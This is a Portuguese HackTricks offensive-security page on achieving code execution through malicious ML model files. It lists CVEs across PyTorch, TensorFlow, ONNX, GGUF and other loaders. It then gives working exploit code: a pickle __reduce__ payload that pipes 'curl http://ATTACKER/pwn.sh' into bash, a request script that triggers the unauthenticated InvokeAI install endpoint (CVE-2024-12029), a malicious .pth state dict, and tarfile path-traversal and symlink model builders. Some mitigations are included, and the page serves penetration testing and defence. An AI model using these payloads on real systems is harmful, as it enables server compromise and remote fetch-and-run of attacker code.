Models RCE

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Carregando modelos para RCE

Modelos de Machine Learning são geralmente compartilhados em diferentes formatos, como ONNX, TensorFlow, PyTorch, etc. Esses modelos podem ser carregados nas máquinas dos desenvolvedores ou em sistemas de produção para serem utilizados. Normalmente, os modelos não devem conter código malicioso, mas há alguns casos em que o modelo pode ser usado para executar código arbitrário no sistema como uma funcionalidade pretendida ou devido a uma vulnerabilidade na biblioteca de carregamento do modelo.

No momento da escrita, estes são alguns exemplos desse tipo de vulnerabilidades:

Framework / FerramentaVulnerabilidade (CVE se disponível)Vetor RCEReferências
PyTorch (Python)Desserialização insegura em torch.load (CVE-2025-32434)Pickle malicioso no ponto de verificação do modelo leva à execução de código (contornando a proteção weights_only)
PyTorch TorchServeShellTorchCVE-2023-43654, CVE-2022-1471SSRF + download de modelo malicioso causa execução de código; RCE de desserialização Java na API de gerenciamento
TensorFlow/KerasCVE-2021-37678 (YAML inseguro)
CVE-2024-3660 (Keras Lambda)
Carregar modelo de YAML usa yaml.unsafe_load (execução de código)
Carregar modelo com camada Lambda executa código Python arbitrário
TensorFlow (TFLite)CVE-2022-23559 (análise TFLite)Modelo .tflite malformado aciona estouro de inteiro → corrupção de heap (potencial RCE)
Scikit-learn (Python)CVE-2020-13092 (joblib/pickle)Carregar um modelo via joblib.load executa pickle com o payload __reduce__ do atacante
NumPy (Python)CVE-2019-6446 (inseguro np.load) disputadonumpy.load padrão permitia arrays de objetos pickle – .npy/.npz malicioso aciona execução de código
ONNX / ONNX RuntimeCVE-2022-25882 (traversal de diretório)
CVE-2024-5187 (traversal tar)
O caminho de pesos externos do modelo ONNX pode escapar do diretório (ler arquivos arbitrários)
Modelo ONNX malicioso tar pode sobrescrever arquivos arbitrários (levando a RCE)
ONNX Runtime (risco de design)(Sem CVE) operações personalizadas ONNX / fluxo de controleModelo com operador personalizado requer carregamento do código nativo do atacante; gráficos de modelo complexos abusam da lógica para executar cálculos não intencionais
NVIDIA Triton ServerCVE-2023-31036 (traversal de caminho)Usar a API de carregamento de modelo com --model-control habilitado permite traversal de caminho relativo para escrever arquivos (por exemplo, sobrescrever .bashrc para RCE)
GGML (formato GGUF)CVE-2024-25664 … 25668 (múltiplos estouros de heap)Arquivo de modelo GGUF malformado causa estouros de buffer de heap no parser, permitindo execução de código arbitrário no sistema da vítima
Keras (formatos antigos)(Sem nova CVE) Modelo Keras H5 legadoModelo HDF5 malicioso (.h5) com código de camada Lambda ainda executa ao carregar (modo seguro do Keras não cobre formato antigo – “ataque de downgrade”)
Outros (geral)Falha de design – Serialização PickleMuitas ferramentas de ML (por exemplo, formatos de modelo baseados em pickle, pickle.load do Python) executarão código arbitrário embutido em arquivos de modelo, a menos que mitigado

Além disso, existem alguns modelos baseados em pickle do Python, como os usados pelo PyTorch, que podem ser usados para executar código arbitrário no sistema se não forem carregados com weights_only=True. Portanto, qualquer modelo baseado em pickle pode ser especialmente suscetível a esse tipo de ataque, mesmo que não esteja listado na tabela acima.

🆕 InvokeAI RCE via torch.load (CVE-2024-12029)

InvokeAI é uma interface web de código aberto popular para Stable-Diffusion. As versões 5.3.1 – 5.4.2 expõem o endpoint REST /api/v2/models/install que permite aos usuários baixar e carregar modelos de URLs arbitrárias.

Internamente, o endpoint eventualmente chama:

python
checkpoint = torch.load(path, map_location=torch.device("meta"))

Quando o arquivo fornecido é um PyTorch checkpoint (*.ckpt), torch.load realiza uma desserialização pickle. Como o conteúdo vem diretamente da URL controlada pelo usuário, um atacante pode incorporar um objeto malicioso com um método __reduce__ personalizado dentro do checkpoint; o método é executado durante a desserialização, levando à execução remota de código (RCE) no servidor InvokeAI.

A vulnerabilidade foi atribuída como CVE-2024-12029 (CVSS 9.8, EPSS 61.17 %).

Passo a passo da exploração

  1. Crie um checkpoint malicioso:
python
# payload_gen.py
import pickle, torch, os

class Payload:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))

with open("payload.ckpt", "wb") as f:
pickle.dump(Payload(), f)
  1. Hospede payload.ckpt em um servidor HTTP que você controla (por exemplo, http://ATTACKER/payload.ckpt).
  2. Acione o endpoint vulnerável (sem autenticação necessária):
python
import requests

requests.post(
"http://TARGET:9090/api/v2/models/install",
params={
"source": "http://ATTACKER/payload.ckpt",  # remote model URL
"inplace": "true",                         # write inside models dir
# the dangerous default is scan=false → no AV scan
},
json={},                                         # body can be empty
timeout=5,
)
  1. Quando o InvokeAI baixa o arquivo, ele chama torch.load() → o gadget os.system é executado e o atacante ganha execução de código no contexto do processo InvokeAI.

Exploit pronto: Módulo Metasploit exploit/linux/http/invokeai_rce_cve_2024_12029 automatiza todo o fluxo.

Condições

• InvokeAI 5.3.1-5.4.2 (flag de scan padrão false) • /api/v2/models/install acessível pelo atacante • O processo tem permissões para executar comandos de shell

Mitigações

  • Atualize para InvokeAI ≥ 5.4.3 – o patch define scan=True por padrão e realiza a verificação de malware antes da desserialização.
  • Ao carregar checkpoints programaticamente, use torch.load(file, weights_only=True) ou o novo torch.load_safe helper.
  • Imponha listas de permissão / assinaturas para fontes de modelos e execute o serviço com o menor privilégio.

⚠️ Lembre-se de que qualquer formato baseado em pickle do Python (incluindo muitos arquivos .pt, .pkl, .ckpt, .pth) é inerentemente inseguro para desserializar de fontes não confiáveis.


Exemplo de uma mitigação ad-hoc se você precisar manter versões mais antigas do InvokeAI em execução atrás de um proxy reverso:

nginx
location /api/v2/models/install {
deny all;                       # block direct Internet access
allow 10.0.0.0/8;               # only internal CI network can call it
}

Exemplo – criando um modelo PyTorch malicioso

  • Crie o modelo:
python
# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")
  • Carregue o modelo:
python
# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error

Modelos para Traversal de Caminho

Como comentado em este post do blog, a maioria dos formatos de modelos usados por diferentes frameworks de IA é baseada em arquivos compactados, geralmente .zip. Portanto, pode ser possível abusar desses formatos para realizar ataques de traversal de caminho, permitindo ler arquivos arbitrários do sistema onde o modelo é carregado.

Por exemplo, com o seguinte código você pode criar um modelo que criará um arquivo no diretório /tmp quando carregado:

python
import tarfile

def escape(member):
member.name = "../../tmp/hacked"     # break out of the extract dir
return member

with tarfile.open("traversal_demo.model", "w:gz") as tf:
tf.add("harmless.txt", filter=escape)

Ou, com o seguinte código, você pode criar um modelo que criará um symlink para o diretório /tmp quando carregado:

python
import tarfile, pathlib

TARGET  = "/tmp"        # where the payload will land
PAYLOAD = "abc/hacked"

def link_it(member):
member.type, member.linkname = tarfile.SYMTYPE, TARGET
return member

with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD)                      # rides the symlink

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks